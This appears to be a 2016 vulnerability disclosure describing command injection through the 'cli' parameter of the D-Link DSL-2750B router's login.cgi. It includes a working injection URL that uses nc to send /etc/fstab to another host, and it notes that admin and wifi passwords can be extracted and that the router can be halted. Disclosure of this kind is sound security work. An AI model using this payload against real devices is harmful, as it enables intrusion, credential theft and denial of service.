D-Link DSL-2750B Remote Command Execution
Posted on 12 February 2016
After some playing around I've noticed something interesting during login phase: by sending wrong credentials, user is redirected on an error page with url http://192.168.1.1:666/login.cgi?cli=access%20login%20encrypted%2041544A25DC00170BA90659AD4CBDD9D9$ http://imgur.com/ZG1vU2t In order to see what's happening we must start the web server with the debug output enabled: httpd -o -p 666 -m -1 -v 5 and try again to login with wrong credentials. http://imgur.com/tepy3XD Arguments of "cli" parameter are passed directly to a binary that will execute that particular given command; the complete list of commands available are inside "/etc/ayecli/ayecli.cli" file. (among them there's a creepy "system halt" that will shutdown the router no matter what). Arguments are passed in a way that ayecli -c 'command-here' so the way to escape is to close, add a command and close again to neutralize "$" substitution with ' : ayecli -c 'command';injection'' that is: http://192.168.1.1/login.cgi?cli=multilingual%20show%27;nc%20192.168.1.8%20666%20%3C%2fetc%2ffstab%27$ http://imgur.com/nLFnWeo it's also possible to retrieve admin password, wifi passphrase etc cheers, p@ql thanks to ps and fp
